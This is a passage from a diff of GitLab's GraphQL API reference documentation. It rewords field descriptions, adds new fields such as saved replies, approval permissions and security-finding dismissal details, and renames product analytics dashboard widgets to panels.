id="iterationduedate"></a>`dueDate` | [`Time`](#time) | Timestamp of the iteration due date. | | <a id="iterationid"></a>`id` | [`ID!`](#id) | ID of the iteration. | | <a id="iterationiid"></a>`iid` | [`ID!`](#id) | Internal ID of the iteration. | @@ -15110,7 +15410,7 @@ Represents an SSH key. | <a id="labelcolor"></a>`color` | [`String!`](#string) | Background color of the label. | | <a id="labelcreatedat"></a>`createdAt` | [`Time!`](#time) | When this label was created. | | <a id="labeldescription"></a>`description` | [`String`](#string) | Description of the label (Markdown rendered as HTML for caching). | -| <a id="labeldescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="labeldescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="labelid"></a>`id` | [`ID!`](#id) | Label ID. | | <a id="labeltextcolor"></a>`textColor` | [`String!`](#string) | Text color of the label. | | <a id="labeltitle"></a>`title` | [`String!`](#string) | Content of the label. | @@ -15212,7 +15512,7 @@ Defines which user roles, users, or groups can merge into a protected branch. | <a id="mergerequestdefaultmergecommitmessage"></a>`defaultMergeCommitMessage` | [`String`](#string) | Default merge commit message of the merge request. | | <a id="mergerequestdefaultsquashcommitmessage"></a>`defaultSquashCommitMessage` | [`String`](#string) | Default squash commit message of the merge request. | | <a id="mergerequestdescription"></a>`description` | [`String`](#string) | Description of the merge request (Markdown rendered as HTML for caching). | -| <a id="mergerequestdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="mergerequestdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="mergerequestdetailedmergestatus"></a>`detailedMergeStatus` | [`DetailedMergeStatus`](#detailedmergestatus) | Detailed merge status of the merge request. | | <a id="mergerequestdiffheadsha"></a>`diffHeadSha` | [`String`](#string) | Diff head SHA of the merge request. | | <a id="mergerequestdiffrefs"></a>`diffRefs` | [`DiffRefs`](#diffrefs) | References of the base SHA, the head SHA, and the start SHA for this merge request. | @@ -15260,8 +15560,8 @@ Defines which user roles, users, or groups can merge into a protected branch. | <a id="mergerequestsourcebranchprotected"></a>`sourceBranchProtected` | [`Boolean!`](#boolean) | Indicates if the source branch is protected. | | <a id="mergerequestsourceproject"></a>`sourceProject` | [`Project`](#project) | Source project of the merge request. | | <a id="mergerequestsourceprojectid"></a>`sourceProjectId` | [`Int`](#int) | ID of the merge request source project. | -| <a id="mergerequestsquash"></a>`squash` | [`Boolean!`](#boolean) | Indicates if squash on merge is enabled. | -| <a id="mergerequestsquashonmerge"></a>`squashOnMerge` | [`Boolean!`](#boolean) | Indicates if squash on merge is enabled. | +| <a id="mergerequestsquash"></a>`squash` | [`Boolean!`](#boolean) | Indicates if the merge request is set to be squashed when merged. [Project settings](https://docs.gitlab.com/ee/user/project/merge_requests/squash_and_merge.html#configure-squash-options-for-a-project) may override this value. Use `squash_on_merge` instead to take project squash options into account. | +| <a id="mergerequestsquashonmerge"></a>`squashOnMerge` | [`Boolean!`](#boolean) | Indicates if the merge request will be squashed when merged. | | <a id="mergerequeststate"></a>`state` | [`MergeRequestState!`](#mergerequeststate) | State of the merge request. | | <a id="mergerequestsubscribed"></a>`subscribed` | [`Boolean!`](#boolean) | Indicates if the currently logged in user is subscribed to this merge request. | | <a id="mergerequestsuggestedreviewers"></a>`suggestedReviewers` **{warning-solid}** | [`SuggestedReviewersType`](#suggestedreviewerstype) | **Introduced** in 15.4. This feature is in Alpha. It can be changed or removed at any time. Suggested reviewers for merge request. Returns `null` if `suggested_reviewers` feature flag is disabled. This flag is disabled by default and only available on GitLab.com because the feature is experimental and is subject to change without notice. | @@ -15273,7 +15573,7 @@ Defines which user roles, users, or groups can merge into a protected branch. | <a id="mergerequesttimeestimate"></a>`timeEstimate` | [`Int!`](#int) | Time estimate of the merge request. | | <a id="mergerequesttimelogs"></a>`timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the merge request. (see [Connections](#connections)) | | <a id="mergerequesttitle"></a>`title` | [`String!`](#string) | Title of the merge request. | -| <a id="mergerequesttitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="mergerequesttitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="mergerequesttotaltimespent"></a>`totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the merge request. | | <a id="mergerequestupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the merge request was last updated. | | <a id="mergerequestupvotes"></a>`upvotes` | [`Int!`](#int) | Number of upvotes for the merge request. | @@ -15356,7 +15656,9 @@ Information relating to rules that must be satisfied to merge this merge request | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mergerequestapprovalstateapprovalrulesoverwritten"></a>`approvalRulesOverwritten` | [`Boolean`](#boolean) | Indicates if the merge request approval rules are overwritten for the merge request. | +| <a id="mergerequestapprovalstateinvalidapproversrules"></a>`invalidApproversRules` | [`[ApprovalRule!]`](#approvalrule) | List of approval rules that are associated with the merge request, but invalid. | | <a id="mergerequestapprovalstaterules"></a>`rules` | [`[ApprovalRule!]`](#approvalrule) | List of approval rules associated with the merge request. | +| <a id="mergerequestapprovalstatesuggestedapprovers"></a>`suggestedApprovers` | [`UserCoreConnection`](#usercoreconnection) | List of suggested approvers. (see [Connections](#connections)) | ### `MergeRequestAssignee` @@ -15514,6 +15816,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestassigneereviewrequestedmergerequestsupdatedafter"></a>`updatedAfter` | [`Time`](#time) | Merge requests updated after this timestamp. | | <a id="mergerequestassigneereviewrequestedmergerequestsupdatedbefore"></a>`updatedBefore` | [`Time`](#time) | Merge requests updated before this timestamp. | +##### `MergeRequestAssignee.savedReply` + +Saved reply authored by the user. Will not return saved reply if `saved_replies` feature flag is disabled. + +Returns [`SavedReply`](#savedreply). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mergerequestassigneesavedreplyid"></a>`id` | [`UsersSavedReplyID!`](#userssavedreplyid) | ID of a saved reply. | + ##### `MergeRequestAssignee.snippets` Snippets authored by the user. @@ -15748,6 +16062,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestauthorreviewrequestedmergerequestsupdatedafter"></a>`updatedAfter` | [`Time`](#time) | Merge requests updated after this timestamp. | | <a id="mergerequestauthorreviewrequestedmergerequestsupdatedbefore"></a>`updatedBefore` | [`Time`](#time) | Merge requests updated before this timestamp. | +##### `MergeRequestAuthor.savedReply` + +Saved reply authored by the user. Will not return saved reply if `saved_replies` feature flag is disabled. + +Returns [`SavedReply`](#savedreply). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mergerequestauthorsavedreplyid"></a>`id` | [`UsersSavedReplyID!`](#userssavedreplyid) | ID of a saved reply. | + ##### `MergeRequestAuthor.snippets` Snippets authored by the user. @@ -16001,6 +16327,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestparticipantreviewrequestedmergerequestsupdatedafter"></a>`updatedAfter` | [`Time`](#time) | Merge requests updated after this timestamp. | | <a id="mergerequestparticipantreviewrequestedmergerequestsupdatedbefore"></a>`updatedBefore` | [`Time`](#time) | Merge requests updated before this timestamp. | +##### `MergeRequestParticipant.savedReply` + +Saved reply authored by the user. Will not return saved reply if `saved_replies` feature flag is disabled. + +Returns [`SavedReply`](#savedreply). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mergerequestparticipantsavedreplyid"></a>`id` | [`UsersSavedReplyID!`](#userssavedreplyid) | ID of a saved reply. | + ##### `MergeRequestParticipant.snippets` Snippets authored by the user. @@ -16088,6 +16426,7 @@ Check permissions for the current user on a merge request. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mergerequestpermissionsadminmergerequest"></a>`adminMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_merge_request` on this resource. | +| <a id="mergerequestpermissionscanapprove"></a>`canApprove` | [`Boolean!`](#boolean) | Indicates the user can perform `can_approve` on this resource. | | <a id="mergerequestpermissionscanmerge"></a>`canMerge` | [`Boolean!`](#boolean) | Indicates the user can perform `can_merge` on this resource. | | <a id="mergerequestpermissionscherrypickoncurrentmergerequest"></a>`cherryPickOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource. | | <a id="mergerequestpermissionscreatenote"></a>`createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. | @@ -16253,6 +16592,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestreviewerreviewrequestedmergerequestsupdatedafter"></a>`updatedAfter` | [`Time`](#time) | Merge requests updated after this timestamp. | | <a id="mergerequestreviewerreviewrequestedmergerequestsupdatedbefore"></a>`updatedBefore` | [`Time`](#time) | Merge requests updated before this timestamp. | +##### `MergeRequestReviewer.savedReply` + +Saved reply authored by the user. Will not return saved reply if `saved_replies` feature flag is disabled. + +Returns [`SavedReply`](#savedreply). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mergerequestreviewersavedreplyid"></a>`id` | [`UsersSavedReplyID!`](#userssavedreplyid) | ID of a saved reply. | + ##### `MergeRequestReviewer.snippets` Snippets authored by the user. @@ -16458,7 +16809,7 @@ Contains statistics about a milestone. | <a id="namespacecontainslockedprojects"></a>`containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. | | <a id="namespacecrossprojectpipelineavailable"></a>`crossProjectPipelineAvailable` | [`Boolean!`](#boolean) | Indicates if the cross_project_pipeline feature is available for the namespace. | | <a id="namespacedescription"></a>`description` | [`String`](#string) | Description of the namespace. | -| <a id="namespacedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="namespacedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="namespacefullname"></a>`fullName` | [`String!`](#string) | Full name of the namespace. | | <a id="namespacefullpath"></a>`fullPath` | [`ID!`](#id) | Full path of the namespace. | | <a id="namespaceid"></a>`id` | [`ID!`](#id) | ID of the namespace. | @@ -16516,6 +16867,8 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="namespaceprojectsincludesubgroups"></a>`includeSubgroups` | [`Boolean`](#boolean) | Include also subgroup projects. | | <a id="namespaceprojectssearch"></a>`search` | [`String`](#string) | Search project with most similar names or paths. | | <a id="namespaceprojectssort"></a>`sort` | [`NamespaceProjectSort`](#namespaceprojectsort) | Sort projects by this criteria. | +| <a id="namespaceprojectswithissuesenabled"></a>`withIssuesEnabled` | [`Boolean`](#boolean) | Return only projects with issues enabled. | +| <a id="namespaceprojectswithmergerequestsenabled"></a>`withMergeRequestsEnabled` | [`Boolean`](#boolean) | Return only projects with merge requests enabled. | ##### `Namespace.scanExecutionPolicies` @@ -16618,7 +16971,7 @@ Represents the network policy. | ---- | ---- | ----------- | | <a id="noteauthor"></a>`author` | [`UserCore!`](#usercore) | User who wrote this note. | | <a id="notebody"></a>`body` | [`String!`](#string) | Content of the note. | -| <a id="notebodyhtml"></a>`bodyHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `note`. | +| <a id="notebodyhtml"></a>`bodyHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `note`. | | <a id="noteconfidential"></a>`confidential` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.5. This was renamed. Use: `internal`. | | <a id="notecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of the note creation. | | <a id="notediscussion"></a>`discussion` | [`Discussion`](#discussion) | Discussion this note is a part of. | @@ -16819,6 +17172,7 @@ Represents a package details in the Package Registry. | <a id="packagedetailstypepackagetype"></a>`packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. | | <a id="packagedetailstypepipelines"></a>`pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. Max page size 20. (see [Connections](#connections)) | | <a id="packagedetailstypeproject"></a>`project` | [`Project!`](#project) | Project where the package is stored. | +| <a id="packagedetailstypepublicpackage"></a>`publicPackage` | [`Boolean`](#boolean) | Indicates if there is public access to the package. | | <a id="packagedetailstypepypisetupurl"></a>`pypiSetupUrl` | [`String`](#string) | Url of the PyPi project setup endpoint. | | <a id="packagedetailstypepypiurl"></a>`pypiUrl` | [`String`](#string) | Url of the PyPi project endpoint. | | <a id="packagedetailstypestatus"></a>`status` | [`PackageStatus!`](#packagestatus) | Package status. | @@ -17029,6 +17383,7 @@ Represents a file or directory in the project repository that has been locked. | <a id="pipelineactive"></a>`active` | [`Boolean!`](#boolean) | Indicates if the pipeline is active. | | <a id="pipelinebeforesha"></a>`beforeSha` | [`String`](#string) | Base SHA of the source branch. | | <a id="pipelinecancelable"></a>`cancelable` | [`Boolean!`](#boolean) | Specifies if a pipeline can be canceled. | +| <a id="pipelinecodequalityreportsummary"></a>`codeQualityReportSummary` | [`CodeQualityReportSummary`](#codequalityreportsummary) | Code Quality report summary for a pipeline. | | <a id="pipelinecodequalityreports"></a>`codeQualityReports` | [`CodeQualityDegradationConnection`](#codequalitydegradationconnection) | Code Quality degradations reported on the pipeline. (see [Connections](#connections)) | | <a id="pipelinecommit"></a>`commit` | [`Commit`](#commit) | Git commit of the pipeline. | | <a id="pipelinecommitpath"></a>`commitPath` | [`String`](#string) | Path to the commit that triggered the pipeline. | @@ -17286,8 +17641,11 @@ Represents vulnerability finding of a security report on the pipeline. | <a id="pipelinesecurityreportfindingassets"></a>`assets` | [`[AssetType!]`](#assettype) | List of assets associated with the vulnerability. | | <a id="pipelinesecurityreportfindingconfidence"></a>`confidence` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.4. This field will be removed from the Finding domain model. | | <a id="pipelinesecurityreportfindingdescription"></a>`description` | [`String`](#string) | Description of the vulnerability finding. | -| <a id="pipelinesecurityreportfindingdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="pipelinesecurityreportfindingdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="pipelinesecurityreportfindingdetails"></a>`details` | [`[VulnerabilityDetail!]!`](#vulnerabilitydetail) | Details of the security finding. | +| <a id="pipelinesecurityreportfindingdismissalreason"></a>`dismissalReason` | [`VulnerabilityDismissalReason`](#vulnerabilitydismissalreason) | Reason for the dismissal of the security report finding. | +| <a id="pipelinesecurityreportfindingdismissedat"></a>`dismissedAt` | [`Time`](#time) | Time of the dismissal of the security report finding. | +| <a id="pipelinesecurityreportfindingdismissedby"></a>`dismissedBy` | [`UserCore`](#usercore) | User who dismissed the security report finding. | | <a id="pipelinesecurityreportfindingevidence"></a>`evidence` | [`VulnerabilityEvidence`](#vulnerabilityevidence) | Evidence for the vulnerability. | | <a id="pipelinesecurityreportfindingfalsepositive"></a>`falsePositive` | [`Boolean`](#boolean) | Indicates whether the vulnerability is a false positive. | | <a id="pipelinesecurityreportfindingidentifiers"></a>`identifiers` | [`[VulnerabilityIdentifier!]!`](#vulnerabilityidentifier) | Identifiers of the vulnerability finding. | @@ -17298,11 +17656,13 @@ Represents vulnerability finding of a security report on the pipeline. | <a id="pipelinesecurityreportfindingname"></a>`name` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. Use `title`. | | <a id="pipelinesecurityreportfindingproject"></a>`project` | [`Project`](#project) | Project on which the vulnerability finding was found. | | <a id="pipelinesecurityreportfindingprojectfingerprint"></a>`projectFingerprint` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. The `project_fingerprint` attribute is being deprecated. Use `uuid` to identify findings. | +| <a id="pipelinesecurityreportfindingremediations"></a>`remediations` | [`[VulnerabilityRemediationType!]`](#vulnerabilityremediationtype) | Remediations of the security report finding. | | <a id="pipelinesecurityreportfindingreporttype"></a>`reportType` | [`VulnerabilityReportType`](#vulnerabilityreporttype) | Type of the security report that found the vulnerability finding. | | <a id="pipelinesecurityreportfindingscanner"></a>`scanner` | [`VulnerabilityScanner`](#vulnerabilityscanner) | Scanner metadata for the vulnerability. | | <a id="pipelinesecurityreportfindingseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability finding. | | <a id="pipelinesecurityreportfindingsolution"></a>`solution` | [`String`](#string) | Solution for resolving the security report finding. | | <a id="pipelinesecurityreportfindingstate"></a>`state` | [`VulnerabilityState`](#vulnerabilitystate) | Finding status. | +| <a id="pipelinesecurityreportfindingstatecomment"></a>`stateComment` | [`String`](#string) | Comment for the state of the security report finding. | | <a id="pipelinesecurityreportfindingtitle"></a>`title` | [`String`](#string) | Title of the vulnerability finding. | | <a id="pipelinesecurityreportfindinguuid"></a>`uuid` | [`String`](#string) | UUIDv5 digest based on the vulnerability's report type, primary identifier, location, fingerprint, project identifier. | | <a id="pipelinesecurityreportfindingvulnerability"></a>`vulnerability` | [`Vulnerability`](#vulnerability) | Vulnerability related to the security report finding. | @@ -17326,32 +17686,32 @@ Represents a product analytics dashboard. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="productanalyticsdashboarddescription"></a>`description` | [`String`](#string) | Description of the dashboard. | +| <a id="productanalyticsdashboardpanels"></a>`panels` | [`ProductAnalyticsDashboardPanelConnection!`](#productanalyticsdashboardpanelconnection) | Panels shown on the dashboard. (see [Connections](#connections)) | | <a id="productanalyticsdashboardtitle"></a>`title` | [`String!`](#string) | Title of the dashboard. | -| <a id="productanalyticsdashboardwidgets"></a>`widgets` | [`ProductAnalyticsDashboardWidgetConnection!`](#productanalyticsdashboardwidgetconnection) | Widgets shown on the dashboard. (see [Connections](#connections)) | -### `ProductAnalyticsDashboardVisualization` +### `ProductAnalyticsDashboardPanel` -Represents a product analytics dashboard visualization. +Represents a product analytics dashboard panel. #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="productanalyticsdashboardvisualizationdata"></a>`data` | [`JSON!`](#json) | Data of the visualization. | -| <a id="productanalyticsdashboardvisualizationoptions"></a>`options` | [`JSON!`](#json) | Options of the visualization. | -| <a id="productanalyticsdashboardvisualizationtype"></a>`type` | [`String!`](#string) | Type of the visualization. | +| <a id="productanalyticsdashboardpanelgridattributes"></a>`gridAttributes` | [`JSON`](#json) | Description of the position and size of the panel. | +| <a id="productanalyticsdashboardpaneltitle"></a>`title` | [`String!`](#string) | Title of the panel. | +| <a id="productanalyticsdashboardpanelvisualization"></a>`visualization` | [`ProductAnalyticsDashboardVisualization!`](#productanalyticsdashboardvisualization) | Visualization of the panel. | -### `ProductAnalyticsDashboardWidget` +### `ProductAnalyticsDashboardVisualization` -Represents a product analytics dashboard widget. +Represents a product analytics dashboard visualization. #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="productanalyticsdashboardwidgetgridattributes"></a>`gridAttributes` | [`JSON`](#json) | Description of the position and size of the widget. | -| <a id="productanalyticsdashboardwidgettitle"></a>`title` | [`String!`](#string) | Title of the widget. | -| <a id="productanalyticsdashboardwidgetvisualization"></a>`visualization` | [`ProductAnalyticsDashboardVisualization!`](#productanalyticsdashboardvisualization) | Visualization of the widget. | +| <a id="productanalyticsdashboardvisualizationdata"></a>`data` | [`JSON!`](#json) | Data of the visualization. | +| <a id="productanalyticsdashboardvisualizationoptions"></a>`options` | [`JSON!`](#json) | Options of the visualization. | +| <a id="productanalyticsdashboardvisualizationtype"></a>`type` | [`String!`](#string) | Type of the visualization. | ### `Project` @@ -17370,7 +17730,6 @@ Represents a product analytics dashboard widget. | <a id="projectcicdsettings"></a>`ciCdSettings` | [`ProjectCiCdSetting`](#projectcicdsetting) | CI/CD settings for the project. | | <a id="projectciconfigpathordefault"></a>`ciConfigPathOrDefault` | [`String!`](#string) | Path of the CI configuration file. | | <a id="projectcijobtokenscope"></a>`ciJobTokenScope` | [`CiJobTokenScopeType`](#cijobtokenscopetype) | The CI Job Tokens scope of access. | -| <a id="projectcivariables"></a>`ciVariables` | [`CiProjectVariableConnection`](#ciprojectvariableconnection) | List of the project's CI/CD variables. (see [Connections](#connections)) | | <a id="projectcodecoveragesummary"></a>`codeCoverageSummary` | [`CodeCoverageSummary`](#codecoveragesummary) | Code coverage summary associated with the project. | | <a id="projectcomplianceframeworks"></a>`complianceFrameworks` | [`ComplianceFrameworkConnection`](#complianceframeworkconnection) | Compliance frameworks associated with the project. (see [Connections](#connections)) | | <a id="projectcontainerexpirationpolicy"></a>`containerExpirationPolicy` | [`ContainerExpirationPolicy`](#containerexpirationpolicy) | Container expiration policy of the project. | @@ -17381,7 +17740,7 @@ Represents a product analytics dashboard widget. | <a id="projectdastscannerprofiles"></a>`dastScannerProfiles` | [`DastScannerProfileConnection`](#dastscannerprofileconnection) | DAST scanner profiles associated with the project. (see [Connections](#connections)) | | <a id="projectdastsiteprofiles"></a>`dastSiteProfiles` | [`DastSiteProfileConnection`](#dastsiteprofileconnection) | DAST Site Profiles associated with the project. (see [Connections](#connections)) | | <a id="projectdescription"></a>`description` | [`String`](#string) | Short description of the project. | -| <a id="projectdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="projectdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="projectdora"></a>`dora` | [`Dora`](#dora) | Project's DORA metrics. | | <a id="projectforkscount"></a>`forksCount` | [`Int!`](#int) | Number of times the project has been forked. | | <a id="projectfullpath"></a>`fullPath` | [`ID!`](#id) | Full path of the project. | @@ -17600,6 +17959,22 @@ Returns [`CiTemplate`](#citemplate). | ---- | ---- | ----------- | | <a id="projectcitemplatename"></a>`name` | [`String!`](#string) | Name of the CI/CD template to search for. Template must be formatted as `Name.gitlab-ci.yml`. | +##### `Project.ciVariables` + +List of the project's CI/CD variables. + +Returns [`CiProjectVariableConnection`](#ciprojectvariableconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="projectcivariablessort"></a>`sort` | [`CiVariableSort`](#civariablesort) | Sort order of results. | + ##### `Project.clusterAgent` Find a single cluster agent by name. @@ -17704,6 +18079,19 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="projectdastsitevalidationsnormalizedtargeturls"></a>`normalizedTargetUrls` | [`[String!]`](#string) | Normalized URL of the target to be scanned. | | <a id="projectdastsitevalidationsstatus"></a>`status` | [`DastSiteValidationStatusEnum`](#dastsitevalidationstatusenum) | Status of the site validation. | +##### `Project.dataTransfer` + +Data transfer data point for a specific period. This is mocked data under a development feature flag. + +Returns [`ProjectDataTransfer`](#projectdatatransfer). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="projectdatatransferfrom"></a>`from` | [`Date`](#date) | Retain egress data for 1 year. Current month will increase dynamically as egress occurs. | +| <a id="projectdatatransferto"></a>`to` | [`Date`](#date) | End date for the data. | + ##### `Project.deployment` Details of the deployment of the project. @@ -18286,6 +18674,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="projectpipelineschedulesids"></a>`ids` | [`[ID!]`](#id) | Filter pipeline schedules by IDs. | | <a id="projectpipelineschedulesstatus"></a>`status` | [`PipelineScheduleStatus`](#pipelineschedulestatus) | Filter pipeline schedules by active status. | ##### `Project.pipelines` @@ -18375,7 +18764,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="projectreleasessort"></a>`sort` | [`ReleaseSort`](#releasesort) | Sort releases by this criteria. | +| <a id="projectreleasessort"></a>`sort` | [`ReleaseSort`](#releasesort) | Sort releases by given criteria. | ##### `Project.requirement` @@ -18518,6 +18907,10 @@ Returns [`SentryDetailedError`](#sentrydetailederror). Project services. +WARNING: +**Deprecated** in 15.9. +This will be renamed to `Project.integrations`. + Returns [`ServiceConnection`](#serviceconnection). This field returns a [connection](#connections). It accepts the @@ -18583,6 +18976,26 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="projecttimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="projecttimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | +##### `Project.visibleForks` + +Visible forks of the project. + +WARNING: +**Introduced** in 15.10. +This feature is in Alpha. It can be changed or removed at any time. + +Returns [`ProjectConnection`](#projectconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="projectvisibleforksminimumaccesslevel"></a>`minimumAccessLevel` | [`AccessLevelEnum`](#accesslevelenum) | Minimum access level. | + ##### `Project.vulnerabilities` Vulnerabilities reported on the project. @@ -18682,9 +19095,11 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="projectworkitemsauthorusername"></a>`authorUsername` **{warning-solid}** | [`String`](#string) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. Filter work items by author username. | | <a id="projectworkitemsiid"></a>`iid` | [`String`](#string) | IID of the issue. For example, "1". | | <a id="projectworkitemsiids"></a>`iids` | [`[String!]`](#string) | List of IIDs of work items. For example, `["1", "2"]`. | | <a id="projectworkitemsin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument.'. | +| <a id="projectworkitemsrequirementlegacywidget"></a>`requirementLegacyWidget` **{warning-solid}** | [`RequirementLegacyFilterInput`](#requirementlegacyfilterinput) | **Deprecated** in 15.9. Use work item IID filter instead. | | <a id="projectworkitemssearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="projectworkitemssort"></a>`sort` | [`WorkItemSort`](#workitemsort) | Sort work items by this criteria. | | <a id="projectworkitemsstate"></a>`state` | [`IssuableState`](#issuablestate) | Current state of this work item. | @@ -18702,8 +19117,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="projectcicdsettingkeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Whether to keep the latest builds artifacts. | | <a id="projectcicdsettingmergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Whether merge pipelines are enabled. | | <a id="projectcicdsettingmergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Whether merge trains are enabled. | +| <a id="projectcicdsettingoptinjwt"></a>`optInJwt` | [`Boolean`](#boolean) | When disabled, the JSON Web Token is always available in all jobs in the pipeline. | | <a id="projectcicdsettingproject"></a>`project` | [`Project`](#project) | Project the CI/CD settings belong to. | +### `ProjectDataTransfer` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="projectdatatransferegressnodes"></a>`egressNodes` | [`EgressNodeConnection`](#egressnodeconnection) | Data nodes. (see [Connections](#connections)) | +| <a id="projectdatatransfertotalegress"></a>`totalEgress` | [`BigInt`](#bigint) | Total egress for that project in that period of time. | + ### `ProjectMember` Represents a Project Membership. @@ -18963,7 +19388,7 @@ Represents a release. | <a id="releasecommit"></a>`commit` | [`Commit`](#commit) | Commit associated with the release. | | <a id="releasecreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of when the release was created. | | <a id="releasedescription"></a>`description` | [`String`](#string) | Description (also known as "release notes") of the release. | -| <a id="releasedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="releasedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="releaseevidences"></a>`evidences` | [`ReleaseEvidenceConnection`](#releaseevidenceconnection) | Evidence for the release. (see [Connections](#connections)) | | <a id="releasehistoricalrelease"></a>`historicalRelease` | [`Boolean`](#boolean) | Indicates the release is an historical release. | | <a id="releaseid"></a>`id` | [`ReleaseID!`](#releaseid) | Global ID of the release. | @@ -18985,7 +19410,7 @@ Represents an asset link associated with a release. | ---- | ---- | ----------- | | <a id="releaseassetlinkdirectassetpath"></a>`directAssetPath` | [`String`](#string) | Relative path for the direct asset link. | | <a id="releaseassetlinkdirectasseturl"></a>`directAssetUrl` | [`String`](#string) | Direct asset URL of the link. | -| <a id="releaseassetlinkexternal"></a>`external` | [`Boolean`](#boolean) | Indicates the link points to an external resource. | +| <a id="releaseassetlinkexternal"></a>`external` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.9. No longer used. | | <a id="releaseassetlinkid"></a>`id` | [`ID!`](#id) | ID of the link. | | <a id="releaseassetlinklinktype"></a>`linkType` | [`ReleaseAssetLinkType`](#releaseassetlinktype) | Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`. | | <a id="releaseassetlinkname"></a>`name` | [`String`](#string) | Name of the link. | @@ -19661,7 +20086,7 @@ Represents a snippet entry. | <a id="snippetcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="snippetcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp this snippet was created. | | <a id="snippetdescription"></a>`description` | [`String`](#string) | Description of the snippet. | -| <a id="snippetdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a 